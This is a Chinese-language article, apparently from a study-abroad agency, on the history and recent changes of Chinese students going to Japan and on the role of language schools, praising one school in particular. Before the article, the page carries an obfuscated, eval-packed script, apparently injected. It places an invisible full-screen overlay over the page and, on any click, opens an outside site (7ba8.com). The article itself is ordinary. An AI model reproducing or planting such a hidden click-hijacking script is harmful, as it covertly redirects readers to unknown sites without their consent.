<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>正值国庆60周年之际，东方国际日本部的专家老师写一篇关于日本留学的文章，讨论下日本留学的过去、现状和未来，日本留学的一些特点，然后对同学们提一些中肯的建议。
一、日本留学的整体背景
1、80年代末开始的日本留学
开革开放以后，80年代末、90年代初，在上海、东北和山东半岛等地，开始出现到日本留学的情况，但由于当时国内、外的相关政策和条件都不是很成熟，并没有形成规模。95年日本废止了“在日本保证人制度”，允许留学生的家长作为学生的经费支付人。90年代末，国家开始规范自费留学市场，批准成立专业的留学中介机构，再加上日本开始实施“十万留学生计划”等一系列积极政策，日本留学热潮在沪、鲁和东三省才算真正兴起，这股热潮从2000年持续到2003年，大批中国学生在这个阶段赴日本学习了先进的科学知识，很多现在已经活跃在社会各领域之中。但当时也确实有极少数没有学习能力或学习意愿，以打工为目的的人以学习为名进入日本，然后“非法打工”、“非法滞在”，个别的甚至引发刑事犯罪案件，结果臭名昭著的“福冈灭门案”成了压倒骆驼的最后一根稻草，03年下半年，日本相关部门突然收紧签证政策，特别是东京地区，最严厉时，对中国学生的反签证率只有约13%，导致大批中国留学生被拒签，整个04年到08年间，日本留学进入低谷。“青山遮不住，毕竟东流去”，一方面随着中国经济的持续发展，国民的收入水平五年间有了很大的发展，另一方面，日本社会因“少子化”而引起的技术劳动力短缺等社会问题更加严重，以“30万留学生计划”为契机，日本留学生政策出现了积极的变化，在保证质的前提下，开始追求学生量的增长，所以日本留学的反签证率开始迅速回升，申请人数也开始出现增长，很多人期望：日本留学的第二轮热潮或许能很快到来。
2、日本留学的新变化
就我从业的经验来看，这一轮新的日本留***，跟2000年那一轮留日潮相比，有下列几个明显变化：
（1）当年赴日留学生选择语言学校时首先希望找个打工容易的学校，而现在的学生往往把学习氛围好，管理规范，能对自己将来考入日本好大学提供最大帮助作为选择语言学校的首要标准；
（2） 过去是高中生、三校生为主，现在申请赴日本留学的学生中，本科生数量开始明显增加；
（3） 随着国内经济的发展，现在同学在合法打工规定以外，以影响学业为代价，非法打工的情况大为减少；
（4） 学生在申请过程中，甚至申请成功以后，因为在国内有了满意的发展机会，放弃出国留学机会的情况已不鲜见；
（5） 赴日留学的学生，已经从传统的沪、鲁、东三省，向江、浙、广等国内很多省份扩展；
（6） 日本官方的材料审查重点从家庭的经费支付能力转向学生学习能力；
撇开上述变化对中介机构提出的新从业要求不谈，从一个中国人的角度来看，这些变化无疑都是鼓舞人心的，因为这些变化都充分说明了，祖国的强大和人民的富裕。因此现在的同学才能有这样的机会，不受经济条件约束的投入国外学习；或者因为有了更多选择，甚至可以放弃已经到手的出国签证。作为一个从业十余年的业内“老人”，遥想当年，一个一个日本学校去拜访，希望能建立合作关系，接收我们推荐的学生，到现在，一个一个的日本学校找上门来，希望建立合作关系，介绍优秀学生，确实是别有一滋味在心头。
二、日本留学的特色之一：语言学校
由于日本留学生政策有下列两个特点：
1、日本国、公立大学和大部分私立大学（特别是知名私立大学）要求留学生申请入读本科生时要提交“日本留学生考试”的成绩；
2、日本大学院教育，传统上是采取导师面试制来决定学生的录取
所以，一直以来，绝大部分中国学生到日本留学是从语言学校开始的。尽管近年来，随着国内日语教育水平的提高和部分在国内遭遇生源紧缺的日本私立大学开始进入中国招生，情况有所变化，但只要日本留学生制度没有大的改变，估计这种学生赴日本留学，特别是想将来进入名校深造的优秀中国学生，要以语言学校为留学起点的作法，一段时间内仍会是日本留学的主流。考虑到这是日本留学的一大特色，所以我们在这里，专门讨论一下日本的语言学校。
全日本有近四百所有资质的语言学校，因为学校的建校目标和经营理念不同，我个人觉得不能简单以一个好或不好来评价，但日本留学发展到现在，我觉得中国留学生应当有更高的个人目标和追求，实际上，希望尽可能受得更好的教育，创造更好的未来发展，已成为新一轮日本留学的主流目标。因此以关西语言学院和富士国际语学院等优秀学校为代表的，以帮助中国学生考入日本知名大学为目标的学校，因为适应了这一趋势，特别受到国内学生，尤其是优秀学生的追捧，也取得了更好的市场声誉。在这里，花费一点笔墨，尝试以关西语言学院，这所因在指导中国留学生考入日本知名大学创造了辉煌成绩，而被誉为日本第一的语言学校为例，来分析一下这类学校的特点，希望能对同学们了解这类语言校有所帮助。如果将来能有日本更多学校加入这类学校的行列，为国内学生提供更多选择，那就更求之不得了。
1、招生质量
我觉得与一般过份看重经济利益的学校不同，这类学校必须在招生过程中注意确保自己的招生质量。比如关西语言学院始终是在确保学生质量的情况下，才兼顾学生的数量，所以它的招生方式与一般学校从进入中国伊始就四处寻找、委托中介不同，经历了下列几个阶段：
（1）首先是较早就进入中国，成规模的进行招生。该校早在90年代初就进入中国，采取与国内各地的重点高中进行合作，帮助建立日语特色班的模式，然后成规模的招生；
（2）99年、2000年日本留学迎来第一次高潮，大批中国学生赴日本留学，众多日本学校借助众多国内中介疯狂招生，一时鱼龙混杂、在这个被称之为“人傻钱多”的留学高潮中，该校不为所动，继续坚持原有招生模式，保证了学生质量。所以当04年日本留学突然陷入低谷，大批学生被拒签，众多学校生存艰难时，该校却因为招生、办学规范，毕业生连续创造并保持多项升学记录，更加得到日本相关机构的信任，反率证发表率一枝独秀，不受政策收紧的影响，仍旧居高不下。结果，可能也是因为这种与众不同吧，开始享受到被人怀疑“有特别关系”，“对签证结果撒谎”等“特别待遇”。一所日本的学校，却应了中国的老话，“木秀于林”，确实挺有意思的；
（3）06年，日本留学还处在低谷中，该校却开始适当扩大办学规模，并与国家留学基金管理委员会下属的东方国际教育交流中心合作，尝试通过这样有信誉的国有留学服务机构来招收真正优秀的社会生源。我有幸参与了这一工作，几年来既欣慰的看到项目健康、快速的成长，也对该校管理的规范、严谨，特别是在招生中“一根筋”深有体会；
（4）近两年来，该校又开始与国内有名的培训机构，如新东方集团北京校、上海校，四川大学培训学院，北京外国语大学培训学院等合作，为更多优秀的社会生源提供安全、高效的出国通道。
2、模范管理
我觉得以指导学生升学为目标的学校，应该至少有下列三方面规范制度：
（1） 分级考试与分级授课：根据学生日语水平的不同，分班授课；
（2） 针对日本留学生考试内容，系统的文化课辅导；
（3） 升学指导，应包括：对知名大学本科生录取的复试和指导申请大学院这两方面内容；
关西语言学院根据多年的经验，还推出进入高级日语班后，根据文化课水平和升学目标不同的《分班考试和分班授课制度》，为帮助有日语基础的国内本科生尽早升入理想大学院的《提前升学指导制度》等一系列其他制度，当然更是锦上添花了。特别是独家推出的《提前升学指导制度》更是充分体现了该校轻经济利益，重人才培养的一贯风格。至于这些制度的具体作法和作用，恐怕每一项都可以写成一篇独立的介绍或讨论文章，所以就不在这里一一展开叙述了，感兴趣的同学，可以去阅读下《东方博客》栏目中的其他相关文章。
综上，我觉得不去短视经济利益，而是在长期实际中建设品牌、提高品牌，通过高端合作的招生模式，招收有潜力、有愿意进入日本知名大学深造的优秀学生，再以优秀的师资力量，辅之以系统、专业的指导和教学，应该是关西语言学院能取得成功的重要因素之一吧。作为一个从事日本留学多年的“老人”，真得很希望：日本能有更多的学校，也能一样沉下心来，扎扎实实地在帮助中国学生花日本政府的钱（享受日本政府奖学金或学费减免）读日本的名校方面多做些工作，因为这不仅是为中国学生负责，也是对学校自己负责，毕竟只有顺应潮流，真正有特色和信誉的学校才能在日益激烈的市场竞争中拥有自己的明天。 |
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